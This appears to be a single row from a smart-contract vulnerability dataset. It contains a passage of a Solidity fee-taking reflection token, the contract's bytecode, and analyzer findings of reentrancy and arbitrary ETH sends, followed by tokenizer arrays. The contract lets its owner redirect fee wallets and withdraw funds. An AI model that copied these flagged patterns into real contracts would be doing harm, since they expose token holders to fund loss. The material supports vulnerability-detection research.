contractTokenBalance >= _numOfTokensToExchangeForTeam; if (!inSwap && swapEnabled && overMinTokenBalance && sender != uniswapV2Pair && sender != address(uniswapV2Router) ) { // We need to swap the current tokens to ETH and send to the team wallet swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if(contractETHBalance > 0) { sendETHToTeam(address(this).balance); } } //indicates if fee should be deducted from transfer bool takeFee = true; //if any account belongs to _isExcludedFromFee account then remove the fee if(_isExcludedFromFee[sender] || _isExcludedFromFee[recipient]){ takeFee = false; } //transfer amount, it will take tax and team fee _tokenTransfer(sender,recipient,amount,takeFee); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap{ // generate the uniswap pair path of token -> weth address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); // make the swap uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, // accept any amount of ETH path, address(this), block.timestamp ); } function sendETHToTeam(uint256 amount) private { _teamWalletAddress.transfer(amount.div(2)); _marketingWalletAddress.transfer(amount.div(2)); } // We are exposing these functions to be able to manual swap and send // in case the token is highly valued and 5M becomes too much function manualSwap() external onlyOwner() { uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualSend() external onlyOwner() { uint256 contractETHBalance = address(this).balance; sendETHToTeam(contractETHBalance); } function setSwapEnabled(bool enabled) external onlyOwner(){ swapEnabled = enabled; } function setMaxBuyEnabled(bool MaxBuyEnabled) external onlyOwner(){ _MaxBuyEnabled = MaxBuyEnabled; } function _tokenTransfer(address sender, address recipient, uint256 amount, bool takeFee) private { if(!takeFee) removeAllFee(); if (_isExcluded[sender] && !_isExcluded[recipient]) { _transferFromExcluded(sender, recipient, amount); } else if (!_isExcluded[sender] && _isExcluded[recipient]) { _transferToExcluded(sender, recipient, amount); } else if (!_isExcluded[sender] && !_isExcluded[recipient]) { _transferStandard(sender, recipient, amount); } else if (_isExcluded[sender] && _isExcluded[recipient]) { _transferBothExcluded(sender, recipient, amount); } else { _transferStandard(sender, recipient, amount); } if(!takeFee) restoreAllFee(); } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _transferToExcluded(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _tOwned[recipient] = _tOwned[recipient].add(tTransferAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _transferFromExcluded(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _tOwned[sender] = _tOwned[sender].sub(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _transferBothExcluded(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _tOwned[sender] = _tOwned[sender].sub(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _tOwned[recipient] = _tOwned[recipient].add(tTransferAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); if(_isExcluded[address(this)]) _tOwned[address(this)] = _tOwned[address(this)].add(tTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } //to recieve ETH from uniswapV2Router when swaping receive() external payable {} function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _taxFee, _teamFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues(uint256 tAmount, uint256 taxFee, uint256 teamFee) private pure returns (uint256, uint256, uint256) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(teamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; for (uint256 i = 0; i < _excluded.length; i++) { if (_rOwned[_excluded[i]] > rSupply || _tOwned[_excluded[i]] > tSupply) return (_rTotal, _tTotal); rSupply = rSupply.sub(_rOwned[_excluded[i]]); tSupply = tSupply.sub(_tOwned[_excluded[i]]); } if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function _getTaxFee() private view returns(uint256) { return _taxFee; } function _getMaxTxAmount() private view returns(uint256) { return _maxTxAmount; } function _getETHBalance() public view returns(uint256 balance) { return address(this).balance; } function _setTaxFee(uint256 taxFee) external onlyOwner() { require(taxFee >= 1 && taxFee <= 25, 'taxFee should be in 1 - 25'); _taxFee = taxFee; } function _setTeamFee(uint256 teamFee) external onlyOwner() { require(teamFee >= 1 && teamFee <= 25, 'teamFee should be in 1 - 25'); _teamFee = teamFee; } function _setTeamWallet(address payable teamWalletAddress) external onlyOwner() { _teamWalletAddress = teamWalletAddress; } function _setMarketingWallet(address payable marketingWalletAddress) external onlyOwner() { _marketingWalletAddress = marketingWalletAddress; } function _setMaxTxAmount(uint256 maxTxAmount) external onlyOwner() { require(maxTxAmount >= 100000000000000e9 , 'maxTxAmount should be greater than 100000000000000e9'); _maxTxAmount = maxTxAmount; } function recoverTokens(uint256 tokenAmount) public virtual onlyOwner() { _approve(address(this), owner(), tokenAmount); _transfer(address(this), owner(), tokenAmount); } }
0x60806040526004361061023f5760003560e01c80636ddd17131161012e578063d6ef7864116100ab578063f42938901161006f578063f429389014610887578063f815a8421461089c578063f84354f1146108b1578063fd5af42f146108e4578063fd62d6751461091057610246565b8063d6ef7864146107a5578063dd62ed3e146107ba578063e01af92c146107f5578063f2cc0c1814610821578063f2fde38b1461085457610246565b8063a457c2d7116100f2578063a457c2d714610692578063a9059cbb146106cb578063af9549e014610704578063b80ec98d1461073f578063cba0e9961461077257610246565b80636ddd17131461060b57806370a0823114610620578063715018a6146106535780638da5cb5b1461066857806395d89b411461067d57610246565b806330599fc5116101bc5780634549b039116101805780634549b0391461055257806349bd5a5e1461058457806351bc3c85146105995780635342acb4146105ae5780635880b873146105e157610246565b806330599fc514610485578063313ce567146104af57806339509351146104da5780633bd5d173146105135780634144d9e41461053d57610246565b80631bbae6e0116102035780631bbae6e01461038f5780631ff53b60146103bb57806323b872dd146103ee57806328667162146104315780632d8381191461045b57610246565b806306fdde031461024b578063095ea7b3146102d557806313114a9d146103225780631694505e1461034957806318160ddd1461037a57610246565b3661024657005b600080fd5b34801561025757600080fd5b50610260610925565b6040805160208082528351818301528351919283929083019185019080838360005b8381101561029a578181015183820152602001610282565b50505050905090810190601f1680156102c75780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156102e157600080fd5b5061030e600480360360408110156102f857600080fd5b506001600160a01b0381351690602001356109bb565b604080519115158252519081900360200190f35b34801561032e57600080fd5b506103376109d9565b60408051918252519081900360200190f35b34801561035557600080fd5b5061035e6109df565b604080516001600160a01b039092168252519081900360200190f35b34801561038657600080fd5b50610337610a03565b34801561039b57600080fd5b506103b9600480360360208110156103b257600080fd5b5035610a09565b005b3480156103c757600080fd5b506103b9600480360360208110156103de57600080fd5b50356001600160a01b0316610aaf565b3480156103fa57600080fd5b5061030e6004803603606081101561041157600080fd5b506001600160a01b03813581169160208101359091169060400135610b29565b34801561043d57600080fd5b506103b96004803603602081101561045457600080fd5b5035610bb0565b34801561046757600080fd5b506103376004803603602081101561047e57600080fd5b5035610c70565b34801561049157600080fd5b506103b9600480360360208110156104a857600080fd5b5035610cd2565b3480156104bb57600080fd5b506104c4610d51565b6040805160ff9092168252519081900360200190f35b3480156104e657600080fd5b5061030e600480360360408110156104fd57600080fd5b506001600160a01b038135169060200135610d5a565b34801561051f57600080fd5b506103b96004803603602081101561053657600080fd5b5035610da8565b34801561054957600080fd5b5061035e610e82565b34801561055e57600080fd5b506103376004803603604081101561057557600080fd5b50803590602001351515610e91565b34801561059057600080fd5b5061035e610f23565b3480156105a557600080fd5b506103b9610f47565b3480156105ba57600080fd5b5061030e600480360360208110156105d157600080fd5b50356001600160a01b0316610fb5565b3480156105ed57600080fd5b506103b96004803603602081101561060457600080fd5b5035610fd3565b34801561061757600080fd5b5061030e611093565b34801561062c57600080fd5b506103376004803603602081101561064357600080fd5b50356001600160a01b03166110a3565b34801561065f57600080fd5b506103b9611105565b34801561067457600080fd5b5061035e6111a7565b34801561068957600080fd5b506102606111b6565b34801561069e57600080fd5b5061030e600480360360408110156106b557600080fd5b506001600160a01b038135169060200135611217565b3480156106d757600080fd5b5061030e600480360360408110156106ee57600080fd5b506001600160a01b03813516906020013561127f565b34801561071057600080fd5b506103b96004803603604081101561072757600080fd5b506001600160a01b0381351690602001351515611293565b34801561074b57600080fd5b506103b96004803603602081101561076257600080fd5b50356001600160a01b0316611316565b34801561077e57600080fd5b5061030e6004803603602081101561079557600080fd5b50356001600160a01b0316611390565b3480156107b157600080fd5b5061030e6113ae565b3480156107c657600080fd5b50610337600480360360408110156107dd57600080fd5b506001600160a01b03813581169160200135166113be565b34801561080157600080fd5b506103b96004803603602081101561081857600080fd5b503515156113e9565b34801561082d57600080fd5b506103b96004803603602081101561084457600080fd5b50356001600160a01b031661145f565b34801561086057600080fd5b506103b96004803603602081101561087757600080fd5b50356001600160a01b0316611641565b34801561089357600080fd5b506103b9611739565b3480156108a857600080fd5b5061033761179b565b3480156108bd57600080fd5b506103b9600480360360208110156108d457600080fd5b50356001600160a01b031661179f565b3480156108f057600080fd5b506103b96004803603602081101561090757600080fd5b50351515611960565b34801561091c57600080fd5b5061035e6119d6565b600b8054604080516020601f60026000196101006001881615020190951694909404938401819004810282018101909252828152606093909290918301828280156109b15780601f10610986576101008083540402835291602001916109b1565b820191906000526020600020905b81548152906001019060200180831161099457829003601f168201915b5050505050905090565b60006109cf6109c86119e5565b84846119e9565b5060015b92915050565b600a5490565b7f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d81565b60085490565b610a116119e5565b6000546001600160a01b03908116911614610a61576040805162461bcd60e51b81526020600482018190526024820152600080516020612b9e833981519152604482015290519081900360640190fd5b69152d02c7e14af6800000811015610aaa5760405162461bcd60e51b8152600401808060200182810382526034815260200180612af96034913960400191505060405180910390fd5b601455565b610ab76119e5565b6000546001600160a01b03908116911614610b07576040805162461bcd60e51b81526020600482018190526024820152600080516020612b9e833981519152604482015290519081900360640190fd5b601380546001600160a01b0319166001600160a01b0392909216919091179055565b6000610b36848484611ad5565b610ba684610b426119e5565b610ba185604051806060016040528060288152602001612b76602891396001600160a01b038a16600090815260046020526040812090610b806119e5565b6001600160a01b031681526020810191909152604001600020549190611e15565b6119e9565b5060019392505050565b610bb86119e5565b6000546001600160a01b03908116911614610c08576040805162461bcd60e51b81526020600482018190526024820152600080516020612b9e833981519152604482015290519081900360640190fd5b60018110158015610c1a575060198111155b610c6b576040805162461bcd60e51b815260206004820152601b60248201527f7465616d4665652073686f756c6420626520696e2031202d2032350000000000604482015290519081900360640190fd5b600f55565b6000600954821115610cb35760405162461bcd60e51b815260040180806020018281038252602a815260200180612a87602a913960400191505060405180910390fd5b6000610cbd611eac565b9050610cc98382611ecf565b9150505b919050565b610cda6119e5565b6000546001600160a01b03908116911614610d2a576040805162461bcd60e51b81526020600482018190526024820152600080516020612b9e833981519152604482015290519081900360640190fd5b610d3c30610d366111a7565b836119e9565b610d4e30610d486111a7565b83611ad5565b50565b600d5460ff1690565b60006109cf610d676119e5565b84610ba18560046000610d786119e5565b6001600160a01b03908116825260208083019390935260409182016000908120918c168152925290205490611f18565b6000610db26119e5565b6001600160a01b03811660009081526006602052604090205490915060ff1615610e0d5760405162461bcd60e51b815260040180806020018281038252602c815260200180612c52602c913960400191505060405180910390fd5b6000610e1883611f72565b505050506001600160a01b038416600090815260026020526040902054919250610e4491905082611fce565b6001600160a01b038316600090815260026020526040902055600954610e6a9082611fce565b600955600a54610e7a9084611f18565b600a55505050565b6013546001600160a01b031681565b6000600854831115610eea576040805162461bcd60e51b815260206004820152601f60248201527f416d6f756e74206d757374206265206c657373207468616e20737570706c7900604482015290519081900360640190fd5b81610f09576000610efa84611f72565b509395506109d3945050505050565b6000610f1484611f72565b509295506109d3945050505050565b7f000000000000000000000000f64bd0997aafb15a3b1d1af5524440d57489bfca81565b610f4f6119e5565b6000546001600160a01b03908116911614610f9f576040805162461bcd60e51b81526020600482018190526024820152600080516020612b9e833981519152604482015290519081900360640190fd5b6000610faa306110a3565b9050610d4e81612010565b6001600160a01b031660009081526005602052604090205460ff1690565b610fdb6119e5565b6000546001600160a01b0390811691161461102b576040805162461bcd60e51b81526020600482018190526024820152600080516020612b9e833981519152604482015290519081900360640190fd5b6001811015801561103d575060198111155b61108e576040805162461bcd60e51b815260206004820152601a60248201527f7461784665652073686f756c6420626520696e2031202d203235000000000000604482015290519081900360640190fd5b600e55565b601354600160a81b900460ff1681565b6001600160a01b03811660009081526006602052604081205460ff16156110e357506001600160a01b038116600090815260036020526040902054610ccd565b6001600160a01b0382166000908152600260205260409020546109d390610c70565b61110d6119e5565b6000546001600160a01b0390811691161461115d576040805162461bcd60e51b81526020600482018190526024820152600080516020612b9e833981519152604482015290519081900360640190fd5b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031690565b600c8054604080516020601f60026000196101006001881615020190951694909404938401819004810282018101909252828152606093909290918301828280156109b15780601f10610986576101008083540402835291602001916109b1565b60006109cf6112246119e5565b84610ba185604051806060016040528060258152602001612c7e602591396004600061124e6119e5565b6001600160a01b03908116825260208083019390935260409182016000908120918d16815292529020549190611e15565b60006109cf61128c6119e5565b8484611ad5565b61129b6119e5565b6000546001600160a01b039081169116146112eb576040805162461bcd60e51b81526020600482018190526024820152600080516020612b9e833981519152604482015290519081900360640190fd5b6001600160a01b03919091166000908152600560205260409020805460ff1916911515919091179055565b61131e6119e5565b6000546001600160a01b0390811691161461136e576040805162461bcd60e51b81526020600482018190526024820152600080516020612b9e833981519152604482015290519081900360640190fd5b601280546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b031660009081526006602052604090205460ff1690565b601354600160b01b900460ff1681565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b6113f16119e5565b6000546001600160a01b03908116911614611441576040805162461bcd60e51b81526020600482018190526024820152600080516020612b9e833981519152604482015290519081900360640190fd5b60138054911515600160a81b0260ff60a81b19909216919091179055565b6114676119e5565b6000546001600160a01b039081169116146114b7576040805162461bcd60e51b81526020600482018190526024820152600080516020612b9e833981519152604482015290519081900360640190fd5b737a250d5630b4cf539739df2c5dacb4c659f2488d6001600160a01b03821614156115135760405162461bcd60e51b8152600401808060200182810382526022815260200180612c306022913960400191505060405180910390fd5b6001600160a01b03811660009081526006602052604090205460ff1615611581576040805162461bcd60e51b815260206004820152601b60248201527f4163636f756e7420697320616c7265616479206578636c756465640000000000604482015290519081900360640190fd5b6001600160a01b038116600090815260026020526040902054156115db576001600160a01b0381166000908152600260205260409020546115c190610c70565b6001600160a01b0382166000908152600360205260409020555b6001600160a01b03166000818152600660205260408120805460ff191660019081179091556007805491820181559091527fa66cc928b5edb82af9bd49922954155ab7b0942694bea4ce44661d9a8736c6880180546001600160a01b0319169091179055565b6116496119e5565b6000546001600160a01b03908116911614611699576040805162461bcd60e51b81526020600482018190526024820152600080516020612b9e833981519152604482015290519081900360640190fd5b6001600160a01b0381166116de5760405162461bcd60e51b8152600401808060200182810382526026815260200180612ab16026913960400191505060405180910390fd5b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6117416119e5565b6000546001600160a01b03908116911614611791576040805162461bcd60e51b81526020600482018190526024820152600080516020612b9e833981519152604482015290519081900360640190fd5b47610d4e81612247565b4790565b6117a76119e5565b6000546001600160a01b039081169116146117f7576040805162461bcd60e51b81526020600482018190526024820152600080516020612b9e833981519152604482015290519081900360640190fd5b6001600160a01b03811660009081526006602052604090205460ff16611864576040805162461bcd60e51b815260206004820152601b60248201527f4163636f756e7420697320616c7265616479206578636c756465640000000000604482015290519081900360640190fd5b60005b60075481101561195c57816001600160a01b03166007828154811061188857fe5b6000918252602090912001546001600160a01b03161415611954576007805460001981019081106118b557fe5b600091825260209091200154600780546001600160a01b0390921691839081106118db57fe5b600091825260208083209190910180546001600160a01b0319166001600160a01b039485161790559184168152600382526040808220829055600690925220805460ff19169055600780548061192d57fe5b600082815260209020810160001990810180546001600160a01b031916905501905561195c565b600101611867565b5050565b6119686119e5565b6000546001600160a01b039081169116146119b8576040805162461bcd60e51b81526020600482018190526024820152600080516020612b9e833981519152604482015290519081900360640190fd5b60138054911515600160b01b0260ff60b01b19909216919091179055565b6012546001600160a01b031681565b3390565b6001600160a01b038316611a2e5760405162461bcd60e51b8152600401808060200182810382526024815260200180612c0c6024913960400191505060405180910390fd5b6001600160a01b038216611a735760405162461bcd60e51b8152600401808060200182810382526022815260200180612ad76022913960400191505060405180910390fd5b6001600160a01b03808416600081815260046020908152604080832094871680845294825291829020859055815185815291517f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259281900390910190a3505050565b6001600160a01b038316611b1a5760405162461bcd60e51b8152600401808060200182810382526025815260200180612be76025913960400191505060405180910390fd5b6001600160a01b038216611b5f5760405162461bcd60e51b8152600401808060200182810382526023815260200180612a646023913960400191505060405180910390fd5b60008111611b9e5760405162461bcd60e51b8152600401808060200182810382526029815260200180612bbe6029913960400191505060405180910390fd5b611ba66111a7565b6001600160a01b0316836001600160a01b031614158015611be05750611bca6111a7565b6001600160a01b0316826001600160a01b031614155b15611c2657601454811115611c265760405162461bcd60e51b8152600401808060200182810382526028815260200180612b2d6028913960400191505060405180910390fd5b601354600160b01b900460ff1615611ccb577f000000000000000000000000f64bd0997aafb15a3b1d1af5524440d57489bfca6001600160a01b0316836001600160a01b0316148015611c925750611c7c6111a7565b6001600160a01b0316826001600160a01b031614155b8015611cb75750611ca16111a7565b6001600160a01b0316836001600160a01b031614155b15611ccb57601554811115611ccb57600080fd5b6000611cd6306110a3565b90506014548110611ce657506014545b6016546013549082101590600160a01b900460ff16158015611d115750601354600160a81b900460ff165b8015611d1a5750805b8015611d5857507f000000000000000000000000f64bd0997aafb15a3b1d1af5524440d57489bfca6001600160a01b0316856001600160a01b031614155b8015611d9657507f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d6001600160a01b0316856001600160a01b031614155b15611db657611da482612010565b478015611db457611db447612247565b505b6001600160a01b03851660009081526005602052604090205460019060ff1680611df857506001600160a01b03851660009081526005602052604090205460ff165b15611e01575060005b611e0d868686846122cc565b505050505050565b60008184841115611ea45760405162461bcd60e51b81526004018080602001828103825283818151815260200191508051906020019080838360005b83811015611e69578181015183820152602001611e51565b50505050905090810190601f168015611e965780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b505050900390565b6000806000611eb9612440565b9092509050611ec88282611ecf565b9250505090565b6000611f1183836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506125a3565b9392505050565b600082820183811015611f11576040805162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015290519081900360640190fd5b6000806000806000806000806000611f8f8a600e54600f54612608565b9250925092506000611f9f611eac565b90506000806000611fb18e878661265d565b919e509c509a509598509396509194505050505091939550919395565b6000611f1183836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611e15565b6013805460ff60a01b1916600160a01b1790556040805160028082526060808301845292602083019080368337019050509050308160008151811061205157fe5b60200260200101906001600160a01b031690816001600160a01b0316815250507f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d6001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156120ca57600080fd5b505afa1580156120de573d6000803e3d6000fd5b505050506040513d60208110156120f457600080fd5b505181518290600190811061210557fe5b60200260200101906001600160a01b031690816001600160a01b031681525050612150307f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d846119e9565b7f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d6001600160a01b031663791ac9478360008430426040518663ffffffff1660e01b81526004018086815260200185815260200180602001846001600160a01b03168152602001838152602001828103825285818151815260200191508051906020019060200280838360005b838110156121f55781810151838201526020016121dd565b505050509050019650505050505050600060405180830381600087803b15801561221e57600080fd5b505af1158015612232573d6000803e3d6000fd5b50506013805460ff60a01b1916905550505050565b6012546001600160a01b03166108fc612261836002611ecf565b6040518115909202916000818181858888f19350505050158015612289573d6000803e3d6000fd5b506013546001600160a01b03166108fc6122a4836002611ecf565b6040518115909202916000818181858888f1935050505015801561195c573d6000803e3d6000fd5b806122d9576122d9612699565b6001600160a01b03841660009081526006602052604090205460ff16801561231a57506001600160a01b03831660009081526006602052604090205460ff16155b1561232f5761232a8484846126cb565b61242d565b6001600160a01b03841660009081526006602052604090205460ff1615801561237057506001600160a01b03831660009081526006602052604090205460ff165b156123805761232a8484846127ef565b6001600160a01b03841660009081526006602052604090205460ff161580156123c257506001600160a01b03831660009081526006602052604090205460ff16155b156123d25761232a848484612898565b6001600160a01b03841660009081526006602052604090205460ff16801561241257506001600160a01b03831660009081526006602052604090205460ff165b156124225761232a8484846128dc565b61242d848484612898565b8061243a5761243a61294f565b50505050565b6009546008546000918291825b6007548110156125715782600260006007848154811061246957fe5b60009182526020808320909101546001600160a01b0316835282019290925260400190205411806124ce57508160036000600784815481106124a757fe5b60009182526020808320909101546001600160a01b03168352820192909252604001902054115b156124e5576009546008549450945050505061259f565b61252560026000600784815481106124f957fe5b60009182526020808320909101546001600160a01b031683528201929092526040019020548490611fce565b9250612567600360006007848154811061253b57fe5b60009182526020808320909101546001600160a01b031683528201929092526040019020548390611fce565b915060010161244d565b5060085460095461258191611ecf565b8210156125995760095460085493509350505061259f565b90925090505b9091565b600081836125f25760405162461bcd60e51b8152602060048201818152835160248401528351909283926044909101919085019080838360008315611e69578181015183820152602001611e51565b5060008385816125fe57fe5b0495945050505050565b6000808080612622606461261c898961295d565b90611ecf565b90506000612635606461261c8a8961295d565b9050600061264d826126478b86611fce565b90611fce565b9992985090965090945050505050565b600080808061266c878661295d565b9050600061267a878761295d565b905060006126888383611fce565b929992985090965090945050505050565b600e541580156126a95750600f54155b156126b3576126c9565b600e8054601055600f8054601155600091829055555b565b6000806000806000806126dd87611f72565b6001600160a01b038f16600090815260036020526040902054959b5093995091975095509350915061270f9088611fce565b6001600160a01b038a1660009081526003602090815260408083209390935560029052205461273e9087611fce565b6001600160a01b03808b1660009081526002602052604080822093909355908a168152205461276d9086611f18565b6001600160a01b03891660009081526002602052604090205561278f816129b6565b6127998483612a3f565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a3505050505050505050565b60008060008060008061280187611f72565b6001600160a01b038f16600090815260026020526040902054959b509399509197509550935091506128339087611fce565b6001600160a01b03808b16600090815260026020908152604080832094909455918b168152600390915220546128699084611f18565b6001600160a01b03891660009081526003602090815260408083209390935560029052205461276d9086611f18565b6000806000806000806128aa87611f72565b6001600160a01b038f16600090815260026020526040902054959b5093995091975095509350915061273e9087611fce565b6000806000806000806128ee87611f72565b6001600160a01b038f16600090815260036020526040902054959b509399509197509550935091506129209088611fce565b6001600160a01b038a166000908152600360209081526040808320939093556002905220546128339087611fce565b601054600e55601154600f55565b60008261296c575060006109d3565b8282028284828161297957fe5b0414611f115760405162461bcd60e51b8152600401808060200182810382526021815260200180612b556021913960400191505060405180910390fd5b60006129c0611eac565b905060006129ce838361295d565b306000908152600260205260409020549091506129eb9082611f18565b3060009081526002602090815260408083209390935560069052205460ff1615612a3a5730600090815260036020526040902054612a299084611f18565b306000908152600360205260409020555b505050565b600954612a4c9083611fce565b600955600a54612a5c9082611f18565b600a55505056fe45524332303a207472616e7366657220746f20746865207a65726f2061646472657373416d6f756e74206d757374206265206c657373207468616e20746f74616c207265666c656374696f6e734f776e61626c653a206e6577206f776e657220697320746865207a65726f206164647265737345524332303a20617070726f766520746f20746865207a65726f20616464726573736d61785478416d6f756e742073686f756c642062652067726561746572207468616e2031303030303030303030303030303065395472616e7366657220616d6f756e74206578636565647320746865206d61785478416d6f756e742e536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f7745524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e63654f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65725472616e7366657220616d6f756e74206d7573742062652067726561746572207468616e207a65726f45524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f206164647265737357652063616e206e6f74206578636c75646520556e697377617020726f757465722e4578636c75646564206164647265737365732063616e6e6f742063616c6c20746869732066756e6374696f6e45524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa2646970667358221220594ef382e3133d0226fe56085c30bd9d9b88b4a214379dc675f0dbb409f81f8364736f6c634300060c0033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
true
null
{'detectors': [{'check': 'reentrancy-eth', 'impact': 'High', 'confidence': 'Medium'}, {'check': 'arbitrary-send', 'impact': 'High', 'confidence': 'Medium'}]}
[ 101, 1014, 2595, 2683, 2581, 2475, 3676, 2497, 2581, 2050, 27814, 2487, 12879, 2683, 2620, 21486, 21926, 20842, 7875, 20958, 22610, 2692, 6305, 4246, 14526, 2497, 2692, 2683, 2497, 2620, 2620, 1013, 1013, 23772, 2595, 1011, 6105, 1011, 8909, 4765, 18095, 1024, 4895, 13231, 27730, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1020, 1012, 2260, 1025, 10061, 3206, 6123, 1063, 3853, 1035, 5796, 5620, 10497, 2121, 1006, 1007, 4722, 3193, 7484, 5651, 1006, 4769, 3477, 3085, 1007, 1063, 2709, 5796, 2290, 1012, 4604, 2121, 1025, 1065, 3853, 1035, 5796, 2290, 2850, 2696, 1006, 1007, 4722, 3193, 7484, 5651, 1006, 27507, 3638, 1007, 1063, 2023, 1025, 1013, 1013, 4223, 2110, 14163, 2696, 8553, 5432, 2302, 11717, 24880, 16044, 1011, 2156, 16770, 1024, 1013, 1013, 21025, 2705, 12083, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
59,686
0x972e2a18a534c7f5db00253a298501ad58c1fc03
